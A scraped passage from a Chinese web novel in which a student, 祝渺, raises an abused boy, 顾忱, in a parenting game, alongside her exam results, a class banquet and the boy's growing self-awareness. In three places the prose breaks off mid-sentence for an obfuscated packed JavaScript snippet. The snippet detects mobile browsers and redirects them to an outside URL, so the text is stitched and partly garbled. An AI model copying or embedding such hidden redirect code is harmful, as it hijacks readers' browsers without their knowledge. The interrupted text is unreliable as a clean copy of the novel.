祝渺送小可怜去心理诊所已经五天了，而且自己已经在他床边睡了五个晚上！ 虽然游戏里的五个晚上，也就现实中的几分钟。 心理医生最终对她说：“这孩子……小时候受过许多虐待，心理上有些阴影，不过慢慢开导，应该并不会留下什么大问题，你注意照顾他的情绪就好。” “祝渺”道：“谢谢医生，我会好好照顾他的。” 五次就医，一次加五点健康值，小可怜的健康值终于达到了65点。 此时系统终于提示： 【第一章：梦魇】进度已完成100%，第一章结束，恭喜您完成任务，达成成就点：救赎。 等了好久终于等到今天，可喜可贺——看来她必须送他去上学庆祝一下了！ 噢，这魔鬼的庆祝方式。 于是这天，小可怜成功被她送去上了语数英。 报名次数有限制，她现在只能报这么点。 入学前，祝渺摸摸小可怜的头，郑重其事地叮嘱：“尘尘，一定要好好学习呀！” 小可怜抿唇，看了她两秒，乖乖答应：“好。” 然后就背上了他的小书包，脚步坚定地走进了校园。 看着小可怜的背影，祝渺暗下决心，她一定会努力的！努力赚钱，好好养家！ 第一次上完语数英的小可怜： 【智商+5，理工天赋+5，人文天赋+5】； 于是他现在【智商15，理工天赋15，人文天赋10】。 但这是首次学习的系统奖励，后面属性值增长就会越来越慢了，都一个点一个点加，离成为一个全面发展的好少年还有漫长的距离。 小可怜不在的时候，祝渺就做个人任务，去一些场所谋求一些工作，从而赚取金币收入。 比如她可以去学校应聘教师——额，虽然但是，智商不够； 也可以去医院应聘护士——还是智商不够； 还可以去商场应聘销售人员——这次是情商不够。 祝渺：…… 她严重怀疑这个游戏是在侮辱她的人格。 最终她找到了一个职业她达到了门槛——餐厅服务员，日薪200，并且加1点情商值。 这点工资比起养活小可怜和自己所需要的花费，简直九牛一毛。 她开始思考穷养孩子的可能性有多大，想了想，又放弃了，决定还是打工赚钱，养家糊口。 毕竟，再苦不能苦孩子啊！ 打工人，打工魂，她年纪轻轻，却要开始打工了？！ 想要不氪金在这个游戏里幸福快乐地长大，确实是不容易。 祝渺想，幸亏这个游戏是内测版本，否则她一定会忍不住氪金……然后剁手。 还好，在餐厅打工很简单，只要端端菜盘子，完成一些餐厅服务类小游戏就好了，游戏任务难度有难有易。 游戏成功就能获取金币和属性值。 就这么平淡地打工赚钱，在没有剧情的时候，时间会一次性流失跳过，并不分白天黑夜。 因此现实中只过去了几天，游戏里的时间却过得飞快，已经过去了快一年了。 而她也逐渐从日薪200的普通服务员，成长为日薪250的高级服务员。== 嗯……再打一段时间的工，她应该就可以换更高薪的工作了。 好在，辛苦做任务打工的日子里，她有一个体贴的小棉袄。 每当她“打工下班”回到家，小可怜也下了课的时候，她时不时能听到小可怜乖巧地对她说： “渺渺姐，我今天也很听话，老师说我学习能力很强。” “渺渺姐，今天工作辛苦啦，我今天也有好好学习哦。” “渺渺姐，我今天考试五门课都考了满分，是全班第一呢。” 好好好，孩子太乖巧了，她也一定会努力工作的！ …… 小可怜陆续解锁了五门课，语数英还有美术体育，每门课都是满分，各项属性值稳定地增长着。 真不愧是她养出来的孩子，就是天赋异禀，天资聪颖，相信很快就能跳级学习初中课程了！ 某个夜晚，祝渺发现小可怜状态变为了“饥饿”。 于是偷偷打开小可怜的房间门，从门缝里，透出了一丝微弱的亮光。 祝渺悄悄往里望，小可怜正在书桌前“挑灯夜读”。 原来天赋背后也是在默默地辛苦付出的呀！这么乖乖的孩子，怎么能不惹人疼爱哇。 祝渺默默去商店，买了一份小面，作为夜宵，送到小可怜桌前。 小可怜抬头看她，看着她手中的面，似乎有些意外：“渺渺姐，你怎么还没休息？” “祝渺”道：“你才是呢，这么晚了还在学习，吃点夜宵，早早休息吧。” 小可怜接过面条，听话地低头吃了起来。 饥饿状态消失，祝渺这才退出房间。 而在祝渺走后，小可怜默默垂下眼眸，放下手中的笔纸。 书上的内容，无聊至极，根本不需要他花费这么多心思。 他只是想听渺渺的话，做一个努力学习的“好孩子乖孩子”而已。 * 现实中，祝渺这群刚高考完的学生们终于等到了出成绩的日子。 成绩是教育局直接短信发送至每个学生手机上的，所以她的同学们是陆陆续续收到的消息。 祝渺收到消息比较晚，对此她倒是很淡定，祝召年比她紧张，多次忍不住想打电话给教育局人工查询，可惜电话一直占线，估计是查询人数太多，工作人员电话都被打爆了。 祝召年道：“这可是我宝贝女儿人生中最重要的一天之一，我当然紧张了！” 说完这句话，祝召年就听到了短信提示音。 他紧张地抖着手打开了短信，定睛看了半天分数。 短信中只有每门科目的成绩，并没有总成绩，祝召年算了半天，没等他按完计算器，祝渺已经报出了总分：“700分。” 祝召年眼睛一亮：“这，这是什么档次的分？” “短信里有写排名呢，98，意思是全省排名98名。” 祝召年大概知道，前几十名都是上清北的料，而她女儿是前一百，虽然进不了顶顶尖学府，但也绝对是稳稳的顶尖学府。 他一把年纪了，还差点高兴地蹦起来。 “好好好，那你的理想大学是不是稳了？” 祝渺点点头：“唔……理论上是的。” 祝召年兴奋得简直要手舞足蹈。 “爸爸今晚就给你烧个一大桌菜，给你庆祝庆祝！” 看着父亲快要喜极而泣的模样，祝渺哭笑不得，怎么考了高分，老爹比自己还高兴呢？ 忽然想到了游戏里的小可怜，唔，好像他考了满分，自己也比他还高兴。 祝渺不由得感慨，原来这就是当爹当妈人的心情啊…… 忽然间理解自家老爹了是怎么回事？ 没一会儿，祝渺就收到了秦洛发来的消息，祝渺大概猜到她已经是知道自己的成绩了。 果然，秦洛道：【渺渺，我查到分数了！】 秦洛：【比我预想的高出了20多分，总分681】 秦洛：【我觉得非常有希望能和你一个学校！哦对了，你查到分了吗？】 秦洛：【不过你查不查也都差不多啦，你的分数就从来没有比我低过】 祝渺回复：【查到了，我刚好700】 秦洛：【！我觉得你绝对在咱们学校年级前十，年级前十有奖学金诶】 祝渺：【奖学金？还有这回事？】 秦洛：【对啊，你不知道吗？咱们学校还挺大方的，高考成绩第一名三万，前三名一万，前七名五千，前十两千】 原本祝渺对成绩排名没什么想法，只要能上自己想去的学校就够了。 可秦洛这么一说……她倒是有些好奇了，毕竟奖学金那是真金白银啊。 秦洛又道：【对了，明天中午我们班要开谢师宴，地点丽景酒店】 祝渺：【什么时候的事情，我怎么不知道？】 秦洛：【班级群都讨论几天了，我就知道你又没看消息，一定是玩游戏上头了吧！】 祝渺：【我去看看】 把屏蔽了群消息提示的班级群解放出来，消息已经999+了，从头开始看是不可能的，祝渺挑了最近重点的讨论关键词看，大致清楚了最终讨论结果。 上午十一点，同学们定了酒店包厢，老师们都会来吃饭，来不了的同学必须有合理理由请假。 对大部分同学来说，这可能就是大家最后一次见面了，祝渺好朋友不算多，但也没什么理由不去，老师们也对自己很照顾——毕竟她一直是班级前三嘛。 在祝渺看消息的一会儿功夫里，新消息又刷了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦洛这暴脾气，受不得祝渺吃一点亏。 过了片刻，许露露却质问：【你说祝渺700分第一名，她怎么不自己出来说话？高分应该不是什么丢脸的事情吧？】 秦洛一点也不嘴软。 秦洛：【人家低调啊，和有些招摇的人不一样】 露露：【你这什么意思？阴阳怪气谁呢？】 秦洛：【到底谁在阴阳怪气？】 眼见二人夹枪带棍要吵起来，其他同学都纷纷保持了缄默。 祝渺皱了皱眉，怎么她这当事人还没说话，她们俩已经剑拔弩张要吵起来了。 于是她直接把成绩截图发在了群里。 渺渺：【抱歉没看手机，才看到消息】 渺渺：【那大家明天见，期待一下班主任的惊喜】 这成绩，明明白白的高分，直接公示给了大伙。 许露露瞬间噤声。 这下她也不敢说什么了，保持了沉默。 其他同学纷纷对这个分数表示惊叹，还有哭天抢地自己这点破成绩怎么会和学霸在一个班的。 刚才的状况大家就当没发生，打个哈哈也就过去了。 祝渺点开秦洛的对话框。 秦洛：【对不起啊渺渺，我刚才一时间被她那个语气气到了】 秦洛：【一直看她不顺眼……所以就……下次我控制一下我的嘴！】 秦洛：【不过你这成绩发出来，好解气啊哈哈哈哈！你这次一定是我们班第一了！】 渺渺：【你就是我的超级嘴替】 秦洛：【是是是】 秦洛：【这个许露露就是纸老虎，戳她一下就破了，不搭理她她就越起劲儿】 这么一闹，想必现在尴尬的人应该是许露露，因此祝渺也并没有因为这件事影响自己的情绪。 祝渺自认不是个多成熟稳重的人，她前世也就活到二十来岁，阅历并不丰富，思想也基本维持在这个阶段。 但毕竟比别人多活了二十年，从小到大她还是会显得比其他人成熟一些。 尤其在小时候，习惯了把同学都当成未成年小屁孩，所以逐渐没有了特意和人社交的习惯，也就渐渐没那么合群。 因此偶尔会有同学觉得她难以接近，或觉得她不讨喜，对她产生误解。 她多半会把这些人自动过滤掉。 但偶尔还是会有看她不舒服针对她的人，跳到她面前。 毕竟人是群居动物，不合群的人总是会受到排挤的。 忽然就想到了游戏里的小可怜。 他应该也不是合群的个性呢，如果去上学……会受到歧视和排挤吗？ 转念摇了摇头，应该不至于吧。 5. 第 5 章 第二天早上，祝渺被十点的闹钟叫醒。 啊，假期真舒服，她的生物钟真是越来越晚了，晚上不想睡，早上起不来。 起床收拾收拾，就要去同学聚餐了。 她看着镜子里的自己，一头自然乌黑的长发，她收拢了几缕头发至后脑，拿夹子夹住了，她天生长得秀气精致，没什么攻击性，属于一眼就觉得清爽明亮的女生。 她皮肤底子好，也不需要化妆，只微微涂了唇色，穿了一条浅色长裙，就出门了。 主要是，起不来床的孩子，是不配化妆的。== 十点五十分，她提前到了酒店，秦洛已经到了，见到祝渺就亲昵地拉住了自己。 祝渺道：“原来是这么大的宴会厅，我还以为就只有包厢呢。” 秦洛告诉她：“本来确实是包厢，但后来隔壁班来和我们合办聚会，所以直接挑了个大的宴会厅。” 她又拉过祝渺，放轻了声音，“我觉得，这可能是隔壁班那个王朔的主意……他可能就是想接近你，你可要小心啊。” “小心？小心什么？” “小心他当众和你表白啊，没准他准备了什么大排场，鲜花戒指单膝下跪……” “……少诅咒我。”那场面，她想一想就脚趾抠地，直接抠出芭比梦想城堡的那种。但好像真是王朔那性格能干出来的事情。 高中这几年也不是没有过，祝渺对此深恶痛绝。 秦洛冲她肯定地点点头，“放心，他要是真的敢，我就带着你私奔。” “一言为定。” 俩人东拉西扯完，就坐到了离门最近的餐桌角落，如果有什么突发事件，可以随时逃跑。 闲着没事，人还没到齐，老师还没来，秦洛和祝渺说起最近离谱的追星经历。 不知道最近这是什么集体塌房季，她追一个就塌一个。 最后发出了感慨：“还是你喜欢的那些纸片人比较好，从来都不用担心塌房。” 祝渺点头同意：“尤其是我亲手养出来的，绝对表里如一的优秀。” 秦洛控诉：“你最近在养娃啊？怪不得总是不回我消息！”这人真是，一玩游戏就沉迷。 说着，祝渺脑海中浮现小可怜眼巴巴看着她的模样，啊，不知道他怎么样了？ 今天还没有打开过游戏呢。 说着忍不住拿出手机点了游戏，秦洛也凑过来看。 祝渺双手捧着手机，在桌底暗戳戳打开了游戏页面，没想到刚打开，页面就跳出了一排大字： 【生日限时活动：今天是他的生日啦！快祝他生日快乐吧！送上生日祝福可解锁新玩法……】 祝渺还没看完，就被走来的班长和老师打断了。 听到有人喊自己的名字，祝渺立马关掉手机抬起头来，对上了班主任一脸慈祥地看着自己。 “渺渺，成绩考得非常不错啊，全班第一，全校第三呢！奖学金一万块钱，这是学校发的，里面还有老师自己的一点点小心意，不多，就图个好彩头，希望你未来一帆风顺！” 说着，老师递上一个厚厚的红包。 祝渺也不好意思推辞，便礼貌地接过红包，感谢了老师。 四周同学一阵羡慕赞许，此起彼伏。 祝渺一个间歇性社恐，都快不好意思了，只能和大家道谢，又陪着喝了点儿酒，吃了些菜，给老师敬了礼。 “祝渺收了这么大红包，怎么不该请大家吃点喝点呢？” “就是就是！” 然后，祝渺冲那位“觊觎”她奖学金的同学笑了笑。 又慢慢吞吞地，把这一摞钱塞进了自己的背包，拉上了拉链，捂得严严实实。 看得见，就让人摸不着。 同学：…… 你藏钱的动作要不要这么明显？！ 大家伙吃吃唠唠，一下子就快走完了宴会流程。 最后就是同学自发上台表演了。几个同学上台唱了几首歌，直到最后一个环节，一个男同学上台。 秦洛拉了一把祝渺的胳膊，祝渺抬起头来，台上的人是秦洛反复提起的王朔。 他今天没穿校服，一身潮牌，是特意捯饬过的。可他相貌平平，身量并不算高挑，那些潮牌堆在他身上，也看不出几分时尚。 王朔同学上台拿起话筒，就潇洒地对大家道：“今日大家聚集在这里，就要各奔东西，所以为了给大家践行，我今天高兴，今日的费用都由我王公子买单了！” 颇有一种财大气粗的土豪气。 秦洛抓了抓她的胳膊：“……别说，富二代真是个好大的优点。”转而她又摇了摇头，“可惜，他也就这么一个优点了。” 祝渺：…… 一段“演讲”后，王朔又道：“今天最后一别，我站在这里，其实还要对我心中的女神告白——” 祝渺有种不祥的预感。 秦洛警觉性极高，赶忙拉起祝渺，二人猫起身子，从无人在意的角落奔向大门，在大家视线集中舞台上的时候，从门敞开的缝钻了出去。 出了大门，二人就直奔酒店外。 她俩可真是，像极了在逃单。 而宴会厅里舞台上的王朔正沉浸在告白的陶醉中：“我默默注视了她三年了，我的女神，她就是……” 他将视线转向角落的那个位置。 ……咦，人呢？怎么一转眼人就不见了？？ * “逃单”成功的祝渺松了一口气，这场面，太尴尬了。 虽然这么做不是很厚道，但留在宴会厅里，她应该会尴尬得原地爆炸。 秦洛：“还好我们提早就有所准备，我的情报果然没错。” 祝渺发消息和班长他们打了招呼说自己有事先走，还好聚会也差不多到了尾声了，已经有个别同学陆续离开了，她走得也不算无礼。 秦洛提议：“既然提前溜了，我们下午出去玩吧！咱们都好久没有一起逛街一起玩了！” 祝渺想了想同意了。 不过她心里还惦记着被打断的那串提示。 今天有小可怜的生日活动…… 游戏里的日常时间流速和特殊情节的时间流速都是不一样的，生日这样的时刻，应该就是指今天，会和今天的时间流速一致。 今晚回去应该还来得及做生日活动的吧？ 于是，她和秦洛一块逛了个街，看了个电影，等电影结束，已经一个下午过去了，快到饭点了。 走出电影院，二人就分道扬镳，秦洛还有事要赶着回家，接了个电话就急忙走了。 祝渺站在街边，从包里拿出手机，想叫一辆计程车，却发现手机已经彻底黑屏，摁了好几下开机键，却只显示电量不足，无法开机。 真糟糕，手机没电，她也不大认得回家的路。 网络冲浪少女离了手机，感觉就像鸟儿失去了翅膀...... 祝渺苦恼了一阵，决定问个路然后徒步走回家。 回家的路找得倒是挺顺利，走了几十分钟，对她来说今日份运动量已经超标了。 回到家，天色已经彻底黑了。 祝渺走到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421177|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口，就刚好遇见祝召年着急忙慌地从屋内出来，“渺渺，你可算回来了！失联一下午，我打了你五六个电话，都没人接。” 因一直联系不上祝渺，他差点就要亲自出门找人了，幸亏刚出门就见到她回家，这才安下心来。 祝渺无奈，她这个爸爸一直都是这样，把她捧在手心里怕摔了，这么多年了还把她当小孩。 祝渺应完老爸的话，匆匆忙忙跑上楼，把没电黑屏的手机插上充电器，第一时间开机打开了游戏。 那行提示的文字还在。 小可怜正孤零零地坐在餐桌上，趴在桌上，一动不动望着门口，好像思考着什么，看起来是一直等着她回来。 直到见到她，他的眼神立刻亮了起来，眉眼弯弯，脸颊肉嘟嘟，就是个天真无邪的懵懂少年。 “渺渺姐，欢迎回家。” 祝渺瞬间感到愧疚。 呜呜，生日这么重要的日子，怎么能把孩子一个人丢在家里一晚上呢？ 尤其孩子还这么乖巧懂事！ 祝渺转头去商店查找生日蛋糕，商品不同价位的同类物品不少，但是蛋糕就只上了一个，还是个限时活动商品。 祝渺一看，一个豪华蛋糕要两千块钱。 ......破游戏，你怎么不去抢钱！ 她要打几天的工才能买到一个生日蛋糕啊！ 她现在余额还剩48000，只管生活还够用好久，但这商店物价真是越来越贵了。 忽然想到自己收进包里的厚实的大红包，瞬间有了底气。 没关系，她还有考试赚来的奖学金，要是没钱了，大不了就氪点金。 咬咬牙，买下了这个蛋糕。 祝渺的教育宗旨：咱再苦，也不能苦了孩子！ 点击购买，从背包里再次点击蛋糕，选择使用。 只见“祝渺”拿出了一个大蛋糕，放在桌上。 【您已解锁成就：生日祝福。奖励特殊权益：系统功能升级，可进行智能对话。】 ......智能对话？ 本以为会送一些道具或者金币奖励，没想到是这么个奇怪的奖励。 该怎么用？ 屏幕下方出现了一个对话框，祝渺可以输入她想说的话。 她尝试着输入：【生日快乐！】 小可怜听到了她说的话，也看到了她给自己准备的蛋糕，眼神中先是流露出惊讶，接着涌上惊喜和复杂的情绪。 ——他对她输入的文字有反应，是她的智能对话功能起效果了。 小可怜回答说：【原来今天，是我生日吗？】 祝渺心想，小可怜真是太惨了，爹不疼娘不爱的，这么多年了，一定都没有人给他过生日。 不知道这个智能对话功能输入内容的范围能有多大？ 于是，祝渺给蛋糕插上蜡烛，点上火，试着继续输入：【是的哦，生日快乐，快许愿吧！】 小可怜：【好。】 然后低头对着莹莹烛光，闭眼，许了个愿望。 愿望的内容系统并没有告知她。 屏幕前的祝渺很是惊奇，这智能对话功能可真厉害啊，不仅能根据她的内容智能回复，连游戏画面都设计好了。 许完愿，小可怜吹灭了蜡烛，祝渺又继续道：【以后每年，我都会陪你过生日哒。】 小可怜听完，又甜甜地笑了，用力点头：【好！】 祝渺不知道的是，小可怜不仅从来没有过过生日。 在他的记忆里，他根本没有生日...... 6. 第 6 章 在过去反复轮回的那些年，顾忱始终是个任人操作的傀儡。 直到这一年遇到祝渺，他才开始拥有自己的意志和行动力，他才开始注意到周围复杂的一切，以及开始保持持续性的思维能力。 和渺渺相处的一年，每天的生活平静而又美好，顾忱却开始莫名产生一种异样的感觉，有时候，他会觉得自己身上发生的许多事都并不真实。 比如，他想说一句话，可是有时候却说不出来。 他想做饭给渺渺吃，可是他却一次都没有做到过。 这种思考一瞬而过，又迅速消失了，一切回归平静的生活。 可哪怕只是一瞬间的思考，也在顾忱心中留下了痕迹。 有时他会觉得，渺渺的存在会不会也是这么不真实呢？ 渺渺很忙，有时候会好久见不到她，他总是害怕，在他看不见的地方，渺渺会突然消失。 他变得十分没有安全感，仿佛她随时会离开，像从来没有出现过那样。 有一种直觉提醒着他，如果渺渺想离开，她可以毫无牵挂地离开。 所以他从来不会抱怨什么，就算两个人已经一起生活了这么长时间，他还是会想，自己不可以成为渺渺的负担，渺渺照顾自己，已经很辛苦了。 他还会在学校里认真完成渺渺给自己的要求，一刻也不空闲地上完渺渺给他报的课程。每次她工作完回来，他也会告诉她，他现在学得很好，让她放心。 可他并不是每天都能见到渺渺的，等他反应过来的时候，通常已经很久没有见到渺渺了。 比如就在这几天，他在某个瞬间忽然意识到时间的流逝，他好像已经好多天没有和祝渺交流了。 她会给自己买吃的，也会给自己买很多用品，却几乎没有怎么和他说过话…… 那种奇怪的异样感又席卷而来，然而在下一瞬，又顷刻间被考试铃声打断消失了。 “叮——”考试结束的提示音响起，他早就提前一小时做完了题，他可以放学了，这门考试结束也代表他学习的这门课程结束了。 校园里有熙熙攘攘的学生从他身边走过，可他们都在自己过自己的人生，没有人和他产生交集，只有他格格不入。 不过这样也好，他不想其他人来涉足自己的生活。 他心中只记挂着渺渺。 不知道自己今天能不能见到她？ 早早下课回到家，又没有看到熟悉的身影，心中又是一阵失落，渺渺去哪了呢？ 这个问题一出现，接着一股恐慌感又升了起来。 他忽然间意识到，自己好像不知道渺渺的生活是什么样的，也一点也不了解渺渺。 为什么呢？为什么会这样…… 这个问题萦绕在他心头许久，过了好一会儿，他心中暗暗困惑……什么为什么？ 他刚才在想什么呢？ 就在这样反反复复的困惑和挣扎中，天色渐渐地黑了。 可他依然执着地在客厅坐着，不知道为什么，他非常想见渺渺一面。 从来没有这样一个时刻，他希望她出现，至少来看他一眼。 在指针指向九点的时候，终于，房屋的大门被打开了，走进来一个熟悉的身影。 他的第一反应是，他终于见到她了——她没有忘记自己，她回来拯救自己了。 那些茫然无措荡然无存——只要她还在就好了。 此刻，他流露出发自内心的高兴的笑容。 “渺渺姐，欢迎回家。” 下一刻，渺渺不知从哪里拿出了一个大蛋糕，对他说生日快乐，这个过程有些许突兀。 他愣了好一会儿，生日？ 他有生日吗？ 他并没有相关的记忆。 他看着那个蛋糕，上面雕刻着十分精致细腻的糖果人，是他牵着女生的手，女生比他要高一些，但身形娇小，看得出来，这应该是他和渺渺。 又抬头，看到渺渺一脸期待，似乎在等他的反应。 渺渺没有忘记自己，还在用心为他准备惊喜…… 喜悦之感涌上心间，其他一切都不重要了，他这样的人，有没有生日又有什么所谓呢？ 于是，渺渺让他许愿，他就许了。 他许的愿望是......希望渺渺不要离开他，两个人要永远在一起。 可是，这样的愿望他不敢说出来。 这个晚上，渺渺和他说了很多话。 他也说了很多话，并且他可以确定，他今晚说的所有话都是经过他的思考、凭借他自己的意志说出来的。 不论之前和渺渺的相处有多么虚无缥缈，但至少今晚，他难得地感到了一种踏实的真实感。 而且，不知道为什么，今晚的渺渺和他说了很多很多话。多到……他有点回应不过来。 他不善言辞，但每一句话每一个字，都在努力回答。 * 游戏里的小可怜在思考什么，祝渺并不知道，此刻她正捧着手机用着新的智能对话功能，用得不亦乐乎。 越用才越发现这个功能的神奇之处，无论她说什么话，小可怜居然都能和她接上话！ 而且完全没有“人工智障”的呆滞感，这个开发，真不错啊。 沉浸式体验养崽的快乐，游戏体验感upup！ 一直到夜深了，祝渺才又让小可怜乖乖去睡觉，在床边和小可怜说完晚安，关掉手机，她也同时躺下躲进了被窝。 就这么顺顺利利过了几天，祝渺终于为小可怜解锁了初中课程，同时还解锁了各类兴趣类课程。 此时小可怜的属性值已经有： 【 智商41/100 情商30/100 理工天赋39/100 人文天赋31/100 艺术天赋23/100 武力16/100 】 武力和艺术天赋的数值偏低，尤其是武力值，光上体育课加不了几点属性值，看来还要多报点其他类型的课程才能补上。 祝渺秉持着要让孩子德智体美劳全面发展的教育理念，准备让小可怜多上点学多学点才艺。 在一门课程中深造，数值增长会更多，于是祝渺准备符合该属性值的课程，只报名一样就行。 于是，在钢琴和吉他之间，祝渺选择了钢琴；在击剑和散打之间选择了散打！ 小可怜并不是张扬的个性，吉他弹唱，嗯……不适合他，还是偏典雅的钢琴更合适； 至于击剑和散打，还是散打比较实在，要是被欺负了就直接打回去。 于是祝渺选择了钢琴课，点击课程报名，定睛一看学费：1万；又看了看散打课程，学费：1万。 祝渺：……真是越来越贵了！贵得令人发指！ 如果不是她开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421178|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场足够有钱，她真的会气得卸载！ 不过好在，祝渺的个人属性值也在增加，智商达到了60，她已经可以从事日薪500的工作了。 祝渺默默计算，打工一个多月，她就可以把这笔学费赚回来了，而且游戏里的时间是过得很快的，所以赚得也很快…… ——不！她要报名五门课那就是五万，还是好贵！ 算上买这买那林林总总需要的费用，祝渺一开始入手的这套公寓，竟是性价比挺高的东西了。 ——至少他们现在不需要承担每个月昂贵的租房压力。 真是万恶的资本家、可恶的策划、离谱的市场价！！ 祝渺把小可怜的课程紧锣密鼓地安排好。 他现在已经学完了不少课程了，大概总共有十几门课。 这么多课，祝渺想着，要是在现实生活中，换了自己，估计也没法都坚持下来。 不过，小可怜“天赋异禀”，什么课都学得很快，属性值明显比之前涨得更快了，成长值也有了明显的提升。 祝渺暗暗吐槽：这狗策划总算干了件人事。 她查看了一下成长值和年龄，小可怜竟然已经12.5岁了。 小可怜的外貌也有些隐约的变化了，由于祝渺天天都能看见小可怜，所以外貌上她并没有太留意。 但仔细看看，就会注意到，小可怜长高了许多，娃娃脸也在消去，越发有帅气少年的模样了。 自家孩子，真是怎么看都好看。 这天下午，祝渺照常每日刷着任务，赚到了工资500元，以及累计活跃系统奖励500元 美滋滋地“下班回家”，正好小可怜也上完了散打课放学了。 然而，见到小可怜的一瞬，祝渺就发现小可怜的身体状态变成了【受伤】，健康值骤然下跌成了5。 祝渺：？！ 怎么回事？！怎么一会儿没见，小可怜就又受伤了！ 这时，屏幕上出现了系统提示： 您已解锁【第二章校园】 上一章梦魇，是和小可怜的心理状态有关，那这一章呢？和校园有关系？ 祝渺思索着，一边在输入框里打入了文字：“今天在学校里有发生什么吗？” 小可怜神态自若，仿佛什么也没有发生的样子。 “没有发生什么，渺渺姐，怎么了？” 祝渺皱了皱眉，想起了上个篇章，小可怜也是什么也不说，他一定又在隐瞒什么了。 她决定单刀直入地问：“你今天有没有哪里受伤？” 小可怜愣了一下，大概犹豫了一会儿，回答：“有，不过只是上课练习时不小心摔了一下……没什么大事的。” 他上的课是散打，想来受伤也是有可能的。 那这个篇章，她该怎么完成呢？不应该是这么简单才对。 她决定今天先给小可怜买些药品，给他上一下药，恢复到可以正常上课的状态。 明天去上课时，她亲自去私立学校看看，或许可以解锁一些新线索，查到他受伤的原因。 点击购买绷带、创可贴、酒精等各类药品，又买了一些昂贵的食材，做给小可怜吃。 贵的东西吃起来效果就是不错，一下子健康值就被拉回来了。 祝渺看了看余额，嗯......很好，很好。 气抖冷…… 一天的任务又白刷了！ 7. 第 7 章 游戏场景转到第二天早上，小可怜正常进入学习状态，祝渺打开地图，选择去到私立学校。 一般情况下祝渺并不会到学校，只会在课程报名的时候来，因此对地图并不是特别熟悉。 她查看小可怜的具体位置，朝着他的位置边走边找人，正好小可怜是在上散打课，她觉得小可怜在散打课上受伤的可能性很大。 学校地图并不算很大，没一会儿她就找到了小可怜所在的位置。 走到教室前面，眼前画面一变，开始播放一段小可怜的动画。 祝渺暗自确定，和第一章一样，她来到关键地点，就解锁了剧情，看来这段动画就是她解锁的关键信息了。 画面里，小可怜正在角落的练习场地，和一个同学练习对打，对面那个男生是个小胖子，比他要高大，身型更加壮实一些。 这小胖子打得并不标准，动作也很鲁莽，出腿直接冲着小可怜身上就是一脚，小可怜躲闪不及，生生挨下，那小胖子也并不收手，继续一拳一脚没轻没重地招呼。 一脚过去，小可怜没站稳栽倒在地，小胖子大笑，“你好弱啊，被我打得都没法还手哈哈哈哈……” 祝渺看得拳头都硬了，只想也给这个小胖子来上一拳。 小可怜却是面无表情，一言不发地手撑在地上，缓了缓才站了起来，重新摆好了练习姿势。 祝渺愤愤不平。 呸，学费这么贵的课程，什么辣鸡老师，都不管管学生，任由这种学生霸凌同学？！ 要不是这是在游戏里，游戏没有这种现实向的功能设定，祝渺一定直接冲去找老师理论了。她继续骂策划，这一点也不合理！ 教室内的动画片段放完，小可怜就结束了课程下课了，他自己背上小书包，默不作声地一个人走出教室，祝渺的视角也一直跟着转到了校园小路上。 小胖子忽然冒出来，还带着另外两个小孩，一把拦住了小可怜的去处。 “喂小矮子，我们刚才还没练够，你快和我们轮流练练手！” 小可怜不理他们，想绕过他们就走，却被小胖子一把揪住了背包的领子，“你居然敢无视我！” 小胖子怒气冲冲地拽过他的包，把他拽到身前，丢掉他的背包，就开始出拳出腿，另外两个小孩子跟着动手动脚。 小胖子洋洋得意：“以后你就天天当我的沙包，听到没？” 祝渺拳头硬了，这些小屁孩NPC，怎么这么阴魂不散啊！ 此时，画面停住了，页面上冒出系统提示：当你发现并目睹了霸凌真相，你会...... 【 A、暂时先装没看到 B、冲出去阻止 】 祝渺十分愤怒，看到这两个选项，完全没考虑这个选择会不会影响后续剧情，直接想也没想就选了冲出去。 这种情况，她不冲可忍不住，现在被人多打一下，小可怜的健康值就掉一点！ 祝渺出现的一瞬间，顾忱就愣住了，没想到会被渺渺看到…… 他本不想把她牵扯进来，所以他才一直一忍则忍，一退再退。 小胖子见一个年长许多的大姐姐冲出来护着对方，收了手不屑道：“喂，小矮子，你自己打不过就叫家长，算什么男人！” 又毫无礼貌地对着祝渺说：“我们只是找他练习一下上课学习的内容，他太笨学得太差，打不过我们，可不能怪我们。” 此话一出，祝渺身后的小可怜眼神变了变，这在祝渺的动画上并不显示。 顾忱眼底暗了暗，这家伙针对自己也就罢了，他可以忍受，但他不该惹到渺渺的……他绝对不会放过他。 祝渺的视野里，她没法直接输入文字回击，她的智能对话功能并不针对NPC使用，只能气抖冷地依照程序设定教育了他们几句，然后带着小可怜离开了。 真不解气！ 回家后，小可怜的健康值又到了只剩10个点，祝渺只能再次重金买药品给小可怜使用。 小可怜处理完伤口，神色犹豫而委屈：“渺渺姐……对不起。” 祝渺输入：“嗯？对不起什么？” “对不起，我昨天骗了你，让你担心了。” 祝渺刚生起的怒火一下子散了，“我不是生你的气，我是气那几个小屁孩这么讨厌，我竟然不能直接揍回去。” 顾忱眨眨眼，没有想到，她居然是这么想的。 “渺渺姐，你是想……揍回去？” “当然了，以牙还牙，以眼还眼，我们可不能任人欺负了！” 可惜，系统好像没有这样的选项让她选择啊，那她接下来该怎么完成这个篇章呢？ 祝渺想了想，最后决定：“我帮你把散打这门课退了吧，我们不上这门课了。” 